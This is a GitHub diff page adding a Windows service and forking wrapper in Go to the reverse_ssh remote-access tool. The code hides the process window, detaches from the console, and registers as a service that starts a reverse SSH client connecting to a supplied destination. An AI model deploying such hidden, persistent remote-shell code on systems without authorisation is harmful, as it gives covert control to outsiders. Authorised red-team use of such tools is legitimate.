|
| 1 | +//go:build windows |
| 2 | + |
| 3 | +package main |
| 4 | + |
| 5 | +import ( |
| 6 | + "fmt" |
| 7 | + "log" |
| 8 | + "os" |
| 9 | + "os/exec" |
| 10 | + "syscall" |
| 11 | + "time" |
| 12 | + |
| 13 | + "github.com/NHAS/reverse_ssh/internal/client" |
| 14 | + "golang.org/x/sys/windows/svc" |
| 15 | + "golang.org/x/sys/windows/svc/debug" |
| 16 | + "golang.org/x/sys/windows/svc/eventlog" |
| 17 | +) |
| 18 | + |
| 19 | +var elog debug.Log |
| 20 | + |
| 21 | +func Fork(destination, fingerprint, proxyaddress string) error { |
| 22 | + |
| 23 | + inService, err := svc.IsWindowsService() |
| 24 | + if err != nil { |
| 25 | + elog.Error(1, fmt.Sprintf("failed to determine if we are running in service: %v", err)) |
| 26 | + return fmt.Errorf("failed to determine if we are running in service: %v", err) |
| 27 | + } |
| 28 | + |
| 29 | + if !inService { |
| 30 | + |
| 31 | + log.Println("Forking") |
| 32 | + |
| 33 | + modkernel32 := syscall.NewLazyDLL("kernel32.dll") |
| 34 | + procAttachConsole := modkernel32.NewProc("FreeConsole") |
| 35 | + syscall.Syscall(procAttachConsole.Addr(), 0, 0, 0, 0) |
| 36 | + |
| 37 | + path, _ := os.Executable() |
| 38 | + |
| 39 | + cmd := exec.Command(path, append([]string{"--foreground"}, os.Args[1:]...)...) |
| 40 | + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} |
| 41 | + err = cmd.Start() |
| 42 | + |
| 43 | + if cmd.Process != nil { |
| 44 | + cmd.Process.Release() |
| 45 | + } |
| 46 | + return nil |
| 47 | + } |
| 48 | + |
| 49 | + runService("rssh", destination, fingerprint, proxyaddress) |
| 50 | + |
| 51 | + return nil |
| 52 | +} |
| 53 | + |
| 54 | +type rsshService struct { |
| 55 | + Dest, Fingerprint, Proxy string |
| 56 | +} |
| 57 | + |
| 58 | +func runService(name, destination, fingerprint, proxyaddress string) { |
| 59 | + var err error |
| 60 | + |
| 61 | + elog, err := eventlog.Open(name) |
| 62 | + if err != nil { |
| 63 | + return |
| 64 | + } |
| 65 | + |
| 66 | + defer elog.Close() |
| 67 | + |
| 68 | + elog.Info(1, fmt.Sprintf("starting %s service", name)) |
| 69 | + err = svc.Run(name, &rsshService{ |
| 70 | + destination, |
| 71 | + fingerprint, |
| 72 | + proxyaddress, |
| 73 | + }) |
| 74 | + if err != nil { |
| 75 | + elog.Error(1, fmt.Sprintf("%s service failed: %v", name, err)) |
| 76 | + return |
| 77 | + } |
| 78 | + elog.Info(1, fmt.Sprintf("%s service stopped", name)) |
| 79 | +} |
| 80 | + |
| 81 | +func (m *rsshService) Execute(args []string, r <-chan svc.ChangeRequest, changes chan<- svc.Status) (ssec bool, errno uint32) { |
| 82 | + const cmdsAccepted = svc.AcceptStop | svc.AcceptShutdown |
| 83 | + changes <- svc.Status{State: svc.StartPending} |
| 84 | + |
| 85 | + go client.Run(m.Dest, m.Fingerprint, m.Proxy) |
| 86 | + changes <- svc.Status{State: svc.Running, Accepts: cmdsAccepted} |
| 87 | + |
| 88 | +Outer: |
| 89 | + for c := range r { |
| 90 | + switch c.Cmd { |
| 91 | + case svc.Interrogate: |
| 92 | + changes <- c.CurrentStatus |
| 93 | + // Testing deadlock from https://code.google.com/p/winsvc/issues/detail?id=4 |
| 94 | + time.Sleep(100 * time.Millisecond) |
| 95 | + changes <- c.CurrentStatus |
| 96 | + case svc.Stop, svc.Shutdown: |
| 97 | + break Outer |
| 98 | + default: |
| 99 | + elog.Error(1, fmt.Sprintf("unexpected control request #%d", c)) |
| 100 | + } |
| 101 | + } |
| 102 | + |
| 103 | + changes <- svc.Status{State: svc.StopPending} |
| 104 | + changes <- svc.Status{State: svc.Stopped} |
| 105 | + |
| 106 | + os.Exit(0) |
| 107 | + return |
| 108 | +} |
| 109 | + |
| 110 | +func Run(destination, fingerprint, proxyaddress string) { |
| 111 | + |
| 112 | + inService, err := svc.IsWindowsService() |
| 113 | + if err != nil { |
| 114 | + log.Printf("failed to determine if we are running in service: %v", err) |
| 115 | + client.Run(destination, fingerprint, proxyaddress) |
| 116 | + } |
| 117 | + |
| 118 | + if !inService { |
| 119 | + |
| 120 | + client.Run(destination, fingerprint, proxyaddress) |
| 121 | + return |
| 122 | + } |
| 123 | + |
| 124 | + runService("rssh", destination, fingerprint, proxyaddress) |
| 125 | + |
| 126 | +} |
0 commit comments